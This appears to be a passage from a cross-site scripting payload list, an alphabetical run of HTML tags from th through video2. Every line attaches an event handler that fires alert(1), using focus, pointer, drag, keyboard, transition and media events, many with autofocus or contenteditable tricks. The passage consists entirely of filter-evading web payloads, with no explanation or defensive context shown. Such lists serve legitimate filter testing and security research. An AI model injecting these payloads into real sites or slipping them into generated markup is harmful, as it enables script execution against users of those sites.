<th onpointerenter=alert(1) style=display:block>XSS</th>
<th onpointerleave=alert(1) style=display:block>XSS</th>
<th onpointermove=alert(1) style=display:block>XSS</th>
<th onpointerout=alert(1) style=display:block>XSS</th>
<th onpointerover=alert(1) style=display:block>XSS</th>
<th onpointerrawupdate=alert(1) style=display:block>XSS</th>
<th onpointerup=alert(1) style=display:block>XSS</th>
<th onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></th>
<thead contenteditable onbeforeinput=alert(1)>test
<thead draggable="true" ondrag="alert(1)" style=display:block>test</thead>
<thead draggable="true" ondragend="alert(1)" style=display:block>test</thead>
<thead draggable="true" ondragenter="alert(1)" style=display:block>test</thead>
<thead draggable="true" ondragleave="alert(1)" style=display:block>test</thead>
<thead draggable="true" ondragstart="alert(1)" style=display:block>test</thead>
<thead id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></thead>
<thead id=x tabindex=1 onfocus=alert(1)></thead>
<thead id=x tabindex=1 onfocusin=alert(1)></thead>
<thead onafterscriptexecute=alert(1)><script>1</script>
<thead onbeforecopy="alert(1)" contenteditable>test</thead>
<thead onbeforecut="alert(1)" contenteditable>test</thead>
<thead onbeforescriptexecute=alert(1)><script>1</script>
<thead onblur=alert(1) id=x tabindex=1 style=display:block>test</thead><input value=clickme>
<thead onclick="alert(1)" style=display:block>test</thead>
<thead oncontextmenu="alert(1)" style=display:block>test</thead>
<thead oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<thead oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<thead ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</thead>
<thead onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</thead><input value=clickme>
<thead onkeydown="alert(1)" contenteditable style=display:block>test</thead>
<thead onkeypress="alert(1)" contenteditable style=display:block>test</thead>
<thead onkeyup="alert(1)" contenteditable style=display:block>test</thead>
<thead onmousedown="alert(1)" style=display:block>test</thead>
<thead onmouseenter="alert(1)" style=display:block>test</thead>
<thead onmouseleave="alert(1)" style=display:block>test</thead>
<thead onmousemove="alert(1)" style=display:block>test</thead>
<thead onmouseout="alert(1)" style=display:block>test</thead>
<thead onmouseover="alert(1)" style=display:block>test</thead>
<thead onmouseup="alert(1)" style=display:block>test</thead>
<thead onmousewheel=alert(1) style=display:block>requires scrolling
<thead onpaste="alert(1)" contenteditable>test</thead>
<thead onpointerdown=alert(1) style=display:block>XSS</thead>
<thead onpointerenter=alert(1) style=display:block>XSS</thead>
<thead onpointerleave=alert(1) style=display:block>XSS</thead>
<thead onpointermove=alert(1) style=display:block>XSS</thead>
<thead onpointerout=alert(1) style=display:block>XSS</thead>
<thead onpointerover=alert(1) style=display:block>XSS</thead>
<thead onpointerrawupdate=alert(1) style=display:block>XSS</thead>
<thead onpointerup=alert(1) style=display:block>XSS</thead>
<thead onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></thead>
<time contenteditable onbeforeinput=alert(1)>test
<time draggable="true" ondrag="alert(1)" style=display:block>test</time>
<time draggable="true" ondragend="alert(1)" style=display:block>test</time>
<time draggable="true" ondragenter="alert(1)" style=display:block>test</time>
<time draggable="true" ondragleave="alert(1)" style=display:block>test</time>
<time draggable="true" ondragstart="alert(1)" style=display:block>test</time>
<time id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></time>
<time id=x tabindex=1 onfocus=alert(1)></time>
<time id=x tabindex=1 onfocusin=alert(1)></time>
<time onafterscriptexecute=alert(1)><script>1</script>
<time onbeforecopy="alert(1)" contenteditable>test</time>
<time onbeforecut="alert(1)" contenteditable>test</time>
<time onbeforescriptexecute=alert(1)><script>1</script>
<time onblur=alert(1) id=x tabindex=1 style=display:block>test</time><input value=clickme>
<time onclick="alert(1)" style=display:block>test</time>
<time oncontextmenu="alert(1)" style=display:block>test</time>
<time oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<time oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<time ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</time>
<time onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</time><input value=clickme>
<time onkeydown="alert(1)" contenteditable style=display:block>test</time>
<time onkeypress="alert(1)" contenteditable style=display:block>test</time>
<time onkeyup="alert(1)" contenteditable style=display:block>test</time>
<time onmousedown="alert(1)" style=display:block>test</time>
<time onmouseenter="alert(1)" style=display:block>test</time>
<time onmouseleave="alert(1)" style=display:block>test</time>
<time onmousemove="alert(1)" style=display:block>test</time>
<time onmouseout="alert(1)" style=display:block>test</time>
<time onmouseover="alert(1)" style=display:block>test</time>
<time onmouseup="alert(1)" style=display:block>test</time>
<time onmousewheel=alert(1) style=display:block>requires scrolling
<time onpaste="alert(1)" contenteditable>test</time>
<time onpointerdown=alert(1) style=display:block>XSS</time>
<time onpointerenter=alert(1) style=display:block>XSS</time>
<time onpointerleave=alert(1) style=display:block>XSS</time>
<time onpointermove=alert(1) style=display:block>XSS</time>
<time onpointerout=alert(1) style=display:block>XSS</time>
<time onpointerover=alert(1) style=display:block>XSS</time>
<time onpointerrawupdate=alert(1) style=display:block>XSS</time>
<time onpointerup=alert(1) style=display:block>XSS</time>
<time onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></time>
<title contenteditable onbeforeinput=alert(1)>test
<title draggable="true" ondrag="alert(1)" style=display:block>test</title>
<title draggable="true" ondragend="alert(1)" style=display:block>test</title>
<title draggable="true" ondragenter="alert(1)" style=display:block>test</title>
<title draggable="true" ondragleave="alert(1)" style=display:block>test</title>
<title draggable="true" ondragstart="alert(1)" style=display:block>test</title>
<title id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></title>
<title id=x tabindex=1 onfocus=alert(1)></title>
<title id=x tabindex=1 onfocusin=alert(1)></title>
<title onafterscriptexecute=alert(1)><script>1</script>
<title onbeforecopy="alert(1)" contenteditable>test</title>
<title onbeforecut="alert(1)" contenteditable>test</title>
<title onbeforescriptexecute=alert(1)><script>1</script>
<title onblur=alert(1) id=x tabindex=1 style=display:block>test</title><input value=clickme>
<title onclick="alert(1)" style=display:block>test</title>
<title oncontextmenu="alert(1)" style=display:block>test</title>
<title oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<title oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<title ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</title>
<title onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</title><input value=clickme>
<title onkeydown="alert(1)" contenteditable style=display:block>test</title>
<title onkeypress="alert(1)" contenteditable style=display:block>test</title>
<title onkeyup="alert(1)" contenteditable style=display:block>test</title>
<title onmousedown="alert(1)" style=display:block>test</title>
<title onmouseenter="alert(1)" style=display:block>test</title>
<title onmouseleave="alert(1)" style=display:block>test</title>
<title onmousemove="alert(1)" style=display:block>test</title>
<title onmouseout="alert(1)" style=display:block>test</title>
<title onmouseover="alert(1)" style=display:block>test</title>
<title onmouseup="alert(1)" style=display:block>test</title>
<title onmousewheel=alert(1) style=display:block>requires scrolling
<title onpaste="alert(1)" contenteditable>test</title>
<title onpointerdown=alert(1) style=display:block>XSS</title>
<title onpointerenter=alert(1) style=display:block>XSS</title>
<title onpointerleave=alert(1) style=display:block>XSS</title>
<title onpointermove=alert(1) style=display:block>XSS</title>
<title onpointerout=alert(1) style=display:block>XSS</title>
<title onpointerover=alert(1) style=display:block>XSS</title>
<title onpointerrawupdate=alert(1) style=display:block>XSS</title>
<title onpointerup=alert(1) style=display:block>XSS</title>
<title onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></title>
<tr contenteditable onbeforeinput=alert(1)>test
<tr draggable="true" ondrag="alert(1)" style=display:block>test</tr>
<tr draggable="true" ondragend="alert(1)" style=display:block>test</tr>
<tr draggable="true" ondragenter="alert(1)" style=display:block>test</tr>
<tr draggable="true" ondragleave="alert(1)" style=display:block>test</tr>
<tr draggable="true" ondragstart="alert(1)" style=display:block>test</tr>
<tr id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></tr>
<tr id=x tabindex=1 onfocus=alert(1)></tr>
<tr id=x tabindex=1 onfocusin=alert(1)></tr>
<tr onafterscriptexecute=alert(1)><script>1</script>
<tr onbeforecopy="alert(1)" contenteditable>test</tr>
<tr onbeforecut="alert(1)" contenteditable>test</tr>
<tr onbeforescriptexecute=alert(1)><script>1</script>
<tr onblur=alert(1) id=x tabindex=1 style=display:block>test</tr><input value=clickme>
<tr onclick="alert(1)" style=display:block>test</tr>
<tr oncontextmenu="alert(1)" style=display:block>test</tr>
<tr oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<tr oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<tr ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</tr>
<tr onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</tr><input value=clickme>
<tr onkeydown="alert(1)" contenteditable style=display:block>test</tr>
<tr onkeypress="alert(1)" contenteditable style=display:block>test</tr>
<tr onkeyup="alert(1)" contenteditable style=display:block>test</tr>
<tr onmousedown="alert(1)" style=display:block>test</tr>
<tr onmouseenter="alert(1)" style=display:block>test</tr>
<tr onmouseleave="alert(1)" style=display:block>test</tr>
<tr onmousemove="alert(1)" style=display:block>test</tr>
<tr onmouseout="alert(1)" style=display:block>test</tr>
<tr onmouseover="alert(1)" style=display:block>test</tr>
<tr onmouseup="alert(1)" style=display:block>test</tr>
<tr onmousewheel=alert(1) style=display:block>requires scrolling
<tr onpaste="alert(1)" contenteditable>test</tr>
<tr onpointerdown=alert(1) style=display:block>XSS</tr>
<tr onpointerenter=alert(1) style=display:block>XSS</tr>
<tr onpointerleave=alert(1) style=display:block>XSS</tr>
<tr onpointermove=alert(1) style=display:block>XSS</tr>
<tr onpointerout=alert(1) style=display:block>XSS</tr>
<tr onpointerover=alert(1) style=display:block>XSS</tr>
<tr onpointerrawupdate=alert(1) style=display:block>XSS</tr>
<tr onpointerup=alert(1) style=display:block>XSS</tr>
<tr onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></tr>
<track contenteditable onbeforeinput=alert(1)>test
<track draggable="true" ondrag="alert(1)" style=display:block>test</track>
<track draggable="true" ondragend="alert(1)" style=display:block>test</track>
<track draggable="true" ondragenter="alert(1)" style=display:block>test</track>
<track draggable="true" ondragleave="alert(1)" style=display:block>test</track>
<track draggable="true" ondragstart="alert(1)" style=display:block>test</track>
<track id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></track>
<track id=x tabindex=1 onfocus=alert(1)></track>
<track id=x tabindex=1 onfocusin=alert(1)></track>
<track onafterscriptexecute=alert(1)><script>1</script>
<track onbeforecopy="alert(1)" contenteditable>test</track>
<track onbeforecut="alert(1)" contenteditable>test</track>
<track onbeforescriptexecute=alert(1)><script>1</script>
<track onblur=alert(1) id=x tabindex=1 style=display:block>test</track><input value=clickme>
<track onclick="alert(1)" style=display:block>test</track>
<track oncontextmenu="alert(1)" style=display:block>test</track>
<track oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<track oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<track ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</track>
<track onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</track><input value=clickme>
<track onkeydown="alert(1)" contenteditable style=display:block>test</track>
<track onkeypress="alert(1)" contenteditable style=display:block>test</track>
<track onkeyup="alert(1)" contenteditable style=display:block>test</track>
<track onmousedown="alert(1)" style=display:block>test</track>
<track onmouseenter="alert(1)" style=display:block>test</track>
<track onmouseleave="alert(1)" style=display:block>test</track>
<track onmousemove="alert(1)" style=display:block>test</track>
<track onmouseout="alert(1)" style=display:block>test</track>
<track onmouseover="alert(1)" style=display:block>test</track>
<track onmouseup="alert(1)" style=display:block>test</track>
<track onmousewheel=alert(1) style=display:block>requires scrolling
<track onpaste="alert(1)" contenteditable>test</track>
<track onpointerdown=alert(1) style=display:block>XSS</track>
<track onpointerenter=alert(1) style=display:block>XSS</track>
<track onpointerleave=alert(1) style=display:block>XSS</track>
<track onpointermove=alert(1) style=display:block>XSS</track>
<track onpointerout=alert(1) style=display:block>XSS</track>
<track onpointerover=alert(1) style=display:block>XSS</track>
<track onpointerrawupdate=alert(1) style=display:block>XSS</track>
<track onpointerup=alert(1) style=display:block>XSS</track>
<track onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></track>
<tt contenteditable onbeforeinput=alert(1)>test
<tt draggable="true" ondrag="alert(1)" style=display:block>test</tt>
<tt draggable="true" ondragend="alert(1)" style=display:block>test</tt>
<tt draggable="true" ondragenter="alert(1)" style=display:block>test</tt>
<tt draggable="true" ondragleave="alert(1)" style=display:block>test</tt>
<tt draggable="true" ondragstart="alert(1)" style=display:block>test</tt>
<tt id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></tt>
<tt id=x tabindex=1 onfocus=alert(1)></tt>
<tt id=x tabindex=1 onfocusin=alert(1)></tt>
<tt onafterscriptexecute=alert(1)><script>1</script>
<tt onbeforecopy="alert(1)" contenteditable>test</tt>
<tt onbeforecut="alert(1)" contenteditable>test</tt>
<tt onbeforescriptexecute=alert(1)><script>1</script>
<tt onblur=alert(1) id=x tabindex=1 style=display:block>test</tt><input value=clickme>
<tt onclick="alert(1)" style=display:block>test</tt>
<tt oncontextmenu="alert(1)" style=display:block>test</tt>
<tt oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<tt oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<tt ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</tt>
<tt onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</tt><input value=clickme>
<tt onkeydown="alert(1)" contenteditable style=display:block>test</tt>
<tt onkeypress="alert(1)" contenteditable style=display:block>test</tt>
<tt onkeyup="alert(1)" contenteditable style=display:block>test</tt>
<tt onmousedown="alert(1)" style=display:block>test</tt>
<tt onmouseenter="alert(1)" style=display:block>test</tt>
<tt onmouseleave="alert(1)" style=display:block>test</tt>
<tt onmousemove="alert(1)" style=display:block>test</tt>
<tt onmouseout="alert(1)" style=display:block>test</tt>
<tt onmouseover="alert(1)" style=display:block>test</tt>
<tt onmouseup="alert(1)" style=display:block>test</tt>
<tt onmousewheel=alert(1) style=display:block>requires scrolling
<tt onpaste="alert(1)" contenteditable>test</tt>
<tt onpointerdown=alert(1) style=display:block>XSS</tt>
<tt onpointerenter=alert(1) style=display:block>XSS</tt>
<tt onpointerleave=alert(1) style=display:block>XSS</tt>
<tt onpointermove=alert(1) style=display:block>XSS</tt>
<tt onpointerout=alert(1) style=display:block>XSS</tt>
<tt onpointerover=alert(1) style=display:block>XSS</tt>
<tt onpointerrawupdate=alert(1) style=display:block>XSS</tt>
<tt onpointerup=alert(1) style=display:block>XSS</tt>
<tt onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></tt>
<u contenteditable onbeforeinput=alert(1)>test
<u draggable="true" ondrag="alert(1)" style=display:block>test</u>
<u draggable="true" ondragend="alert(1)" style=display:block>test</u>
<u draggable="true" ondragenter="alert(1)" style=display:block>test</u>
<u draggable="true" ondragleave="alert(1)" style=display:block>test</u>
<u draggable="true" ondragstart="alert(1)" style=display:block>test</u>
<u id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></u>
<u id=x tabindex=1 onfocus=alert(1)></u>
<u id=x tabindex=1 onfocusin=alert(1)></u>
<u onafterscriptexecute=alert(1)><script>1</script>
<u onbeforecopy="alert(1)" contenteditable>test</u>
<u onbeforecut="alert(1)" contenteditable>test</u>
<u onbeforescriptexecute=alert(1)><script>1</script>
<u onblur=alert(1) id=x tabindex=1 style=display:block>test</u><input value=clickme>
<u onclick="alert(1)" style=display:block>test</u>
<u oncontextmenu="alert(1)" style=display:block>test</u>
<u oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<u oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<u ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</u>
<u onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</u><input value=clickme>
<u onkeydown="alert(1)" contenteditable style=display:block>test</u>
<u onkeypress="alert(1)" contenteditable style=display:block>test</u>
<u onkeyup="alert(1)" contenteditable style=display:block>test</u>
<u onmousedown="alert(1)" style=display:block>test</u>
<u onmouseenter="alert(1)" style=display:block>test</u>
<u onmouseleave="alert(1)" style=display:block>test</u>
<u onmousemove="alert(1)" style=display:block>test</u>
<u onmouseout="alert(1)" style=display:block>test</u>
<u onmouseover="alert(1)" style=display:block>test</u>
<u onmouseup="alert(1)" style=display:block>test</u>
<u onmousewheel=alert(1) style=display:block>requires scrolling
<u onpaste="alert(1)" contenteditable>test</u>
<u onpointerdown=alert(1) style=display:block>XSS</u>
<u onpointerenter=alert(1) style=display:block>XSS</u>
<u onpointerleave=alert(1) style=display:block>XSS</u>
<u onpointermove=alert(1) style=display:block>XSS</u>
<u onpointerout=alert(1) style=display:block>XSS</u>
<u onpointerover=alert(1) style=display:block>XSS</u>
<u onpointerrawupdate=alert(1) style=display:block>XSS</u>
<u onpointerup=alert(1) style=display:block>XSS</u>
<u onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></u>
<ul contenteditable onbeforeinput=alert(1)>test
<ul draggable="true" ondrag="alert(1)" style=display:block>test</ul>
<ul draggable="true" ondragend="alert(1)" style=display:block>test</ul>
<ul draggable="true" ondragenter="alert(1)" style=display:block>test</ul>
<ul draggable="true" ondragleave="alert(1)" style=display:block>test</ul>
<ul draggable="true" ondragstart="alert(1)" style=display:block>test</ul>
<ul id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></ul>
<ul id=x tabindex=1 onfocus=alert(1)></ul>
<ul id=x tabindex=1 onfocusin=alert(1)></ul>
<ul onafterscriptexecute=alert(1)><script>1</script>
<ul onbeforecopy="alert(1)" contenteditable>test</ul>
<ul onbeforecut="alert(1)" contenteditable>test</ul>
<ul onbeforescriptexecute=alert(1)><script>1</script>
<ul onblur=alert(1) id=x tabindex=1 style=display:block>test</ul><input value=clickme>
<ul onclick="alert(1)" style=display:block>test</ul>
<ul oncontextmenu="alert(1)" style=display:block>test</ul>
<ul oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<ul oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<ul ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</ul>
<ul onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</ul><input value=clickme>
<ul onkeydown="alert(1)" contenteditable style=display:block>test</ul>
<ul onkeypress="alert(1)" contenteditable style=display:block>test</ul>
<ul onkeyup="alert(1)" contenteditable style=display:block>test</ul>
<ul onmousedown="alert(1)" style=display:block>test</ul>
<ul onmouseenter="alert(1)" style=display:block>test</ul>
<ul onmouseleave="alert(1)" style=display:block>test</ul>
<ul onmousemove="alert(1)" style=display:block>test</ul>
<ul onmouseout="alert(1)" style=display:block>test</ul>
<ul onmouseover="alert(1)" style=display:block>test</ul>
<ul onmouseup="alert(1)" style=display:block>test</ul>
<ul onmousewheel=alert(1) style=display:block>requires scrolling
<ul onpaste="alert(1)" contenteditable>test</ul>
<ul onpointerdown=alert(1) style=display:block>XSS</ul>
<ul onpointerenter=alert(1) style=display:block>XSS</ul>
<ul onpointerleave=alert(1) style=display:block>XSS</ul>
<ul onpointermove=alert(1) style=display:block>XSS</ul>
<ul onpointerout=alert(1) style=display:block>XSS</ul>
<ul onpointerover=alert(1) style=display:block>XSS</ul>
<ul onpointerrawupdate=alert(1) style=display:block>XSS</ul>
<ul onpointerup=alert(1) style=display:block>XSS</ul>
<ul onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></ul>
<var contenteditable onbeforeinput=alert(1)>test
<var draggable="true" ondrag="alert(1)" style=display:block>test</var>
<var draggable="true" ondragend="alert(1)" style=display:block>test</var>
<var draggable="true" ondragenter="alert(1)" style=display:block>test</var>
<var draggable="true" ondragleave="alert(1)" style=display:block>test</var>
<var draggable="true" ondragstart="alert(1)" style=display:block>test</var>
<var id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></var>
<var id=x tabindex=1 onfocus=alert(1)></var>
<var id=x tabindex=1 onfocusin=alert(1)></var>
<var onafterscriptexecute=alert(1)><script>1</script>
<var onbeforecopy="alert(1)" contenteditable>test</var>
<var onbeforecut="alert(1)" contenteditable>test</var>
<var onbeforescriptexecute=alert(1)><script>1</script>
<var onblur=alert(1) id=x tabindex=1 style=display:block>test</var><input value=clickme>
<var onclick="alert(1)" style=display:block>test</var>
<var oncontextmenu="alert(1)" style=display:block>test</var>
<var oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<var oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<var ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</var>
<var onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</var><input value=clickme>
<var onkeydown="alert(1)" contenteditable style=display:block>test</var>
<var onkeypress="alert(1)" contenteditable style=display:block>test</var>
<var onkeyup="alert(1)" contenteditable style=display:block>test</var>
<var onmousedown="alert(1)" style=display:block>test</var>
<var onmouseenter="alert(1)" style=display:block>test</var>
<var onmouseleave="alert(1)" style=display:block>test</var>
<var onmousemove="alert(1)" style=display:block>test</var>
<var onmouseout="alert(1)" style=display:block>test</var>
<var onmouseover="alert(1)" style=display:block>test</var>
<var onmouseup="alert(1)" style=display:block>test</var>
<var onmousewheel=alert(1) style=display:block>requires scrolling
<var onpaste="alert(1)" contenteditable>test</var>
<var onpointerdown=alert(1) style=display:block>XSS</var>
<var onpointerenter=alert(1) style=display:block>XSS</var>
<var onpointerleave=alert(1) style=display:block>XSS</var>
<var onpointermove=alert(1) style=display:block>XSS</var>
<var onpointerout=alert(1) style=display:block>XSS</var>
<var onpointerover=alert(1) style=display:block>XSS</var>
<var onpointerrawupdate=alert(1) style=display:block>XSS</var>
<var onpointerup=alert(1) style=display:block>XSS</var>
<var onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></var>
<video autoplay controls onpause=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay controls onseeked=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay controls onseeking=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay controls onvolumechange=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay onloadedmetadata=alert(1)> <source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay onplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay onplaying=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video contenteditable onbeforeinput=alert(1)>test
<video controls autoplay onended=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video controls autoplay onratechange=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video controls autoplay ontimeupdate=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video controls ondurationchange=alert(1)><source src=validvideo.mp4 type=video/mp4></video>
<video controls onprogress=alert(1)><source src=validvideo.mp4 type=video/mp4></video>
<video controls src=1 onfocus=alert(1) autofocus>
<video controls src=1 onfocusin=alert(1) autofocus>
<video controls><source src=validvideo.mp4 type=video/mp4><track default oncuechange=alert(1) src="data:text/vtt,WEBVTT FILE
1
00:00:00.000 --> 00:00:05.000
<b>XSS</b>
"></video>
<video draggable="true" ondrag="alert(1)" style=display:block>test</video>
<video draggable="true" ondragend="alert(1)" style=display:block>test</video>
<video draggable="true" ondragenter="alert(1)" style=display:block>test</video>
<video draggable="true" ondragleave="alert(1)" style=display:block>test</video>
<video draggable="true" ondragstart="alert(1)" style=display:block>test</video>
<video id=x controls onfocus=alert(1)><source src="validvideo.mp4" type=video/mp4></video>
<video id=x controls onfocusin=alert(1)><source src="validvideo.mp4" type=video/mp4></video>
<video id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></video>
<video onafterscriptexecute=alert(1)><script>1</script>
<video onbeforecopy="alert(1)" contenteditable>test</video>
<video onbeforecut="alert(1)" contenteditable>test</video>
<video onbeforescriptexecute=alert(1)><script>1</script>
<video onblur=alert(1) id=x tabindex=1 style=display:block>test</video><input value=clickme>
<video oncanplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video onclick="alert(1)" style=display:block>test</video>
<video oncontextmenu="alert(1)" style=display:block>test</video>
<video oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<video oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<video ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</video>
<video onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</video><input value=clickme>
<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
<video onkeydown="alert(1)" contenteditable style=display:block>test</video>
<video onkeypress="alert(1)" contenteditable style=display:block>test</video>
<video onkeyup="alert(1)" contenteditable style=display:block>test</video>
<video onloadeddata=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video onmousedown="alert(1)" style=display:block>test</video>
<video onmouseenter="alert(1)" style=display:block>test</video>
<video onmouseleave="alert(1)" style=display:block>test</video>
<video onmousemove="alert(1)" style=display:block>test</video>
<video onmouseout="alert(1)" style=display:block>test</video>
<video onmouseover="alert(1)" style=display:block>test</video>
<video onmouseup="alert(1)" style=display:block>test</video>
<video onmousewheel=alert(1) style=display:block>requires scrolling
<video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>
<video onpaste="alert(1)" contenteditable>test</video>
<video onpointerdown=alert(1) style=display:block>XSS</video>
<video onpointerenter=alert(1) style=display:block>XSS</video>
<video onpointerleave=alert(1) style=display:block>XSS</video>
<video onpointermove=alert(1) style=display:block>XSS</video>
<video onpointerout=alert(1) style=display:block>XSS</video>
<video onpointerover=alert(1) style=display:block>XSS</video>
<video onpointerrawupdate=alert(1) style=display:block>XSS</video>
<video onpointerup=alert(1) style=display:block>XSS</video>
<video onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></video>
<video src/onerror=alert(1)>
<video2 contenteditable onbeforeinput=alert(1)>test
<video2 draggable="true" ondrag="alert(1)" style=display:block>test</video2>
<video2 draggable="true" ondragend="alert(1)" style=display:block>test</video2>
<video2 draggable="true" ondragenter="alert(1)" style=display:block>test</video2>
<video2 draggable="true" ondragleave="alert(1)" style=display:block>test</video2>
<video2 draggable="true" ondragstart="alert(1)" style=display:block>test</video2>
<video2 id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></video2>
<video2 onafterscriptexecute=alert(1)><script>1</script>
<video2 onbeforescriptexecute=alert(1)><script>1</script>
<video2 onblur=alert(1) id=x tabindex=1 style=display:block>test</video2><input value=clickme>
<video2 onclick="alert(1)" style=display:block>test</video2>
<video2 oncontextmenu="alert(1)" style=display:block>test</video2>
<video2 oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<video2 oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<video2 ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</video2>
<video2 onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</video2><input value=clickme>
<video2 onkeydown="alert(1)" contenteditable style=display:block>test</video2>
<video2 onkeypress="alert(1)" contenteditable style=display:block>test</video2>
<video2 onkeyup="alert(1)" contenteditable style=display:block>test</video2>
<video2 onmousedown="alert(1)" style=display:block>test</video2>
<video2 onmouseenter="alert(1)" style=display:block>test</video2>
<video2 onmouseleave="alert(1)" style=display:block>test</video2>
<video2 onmousemove="alert(1)" style=display:block>test</video2>
<video2 onmouseout="alert(1)" style=display:block>test</video2>
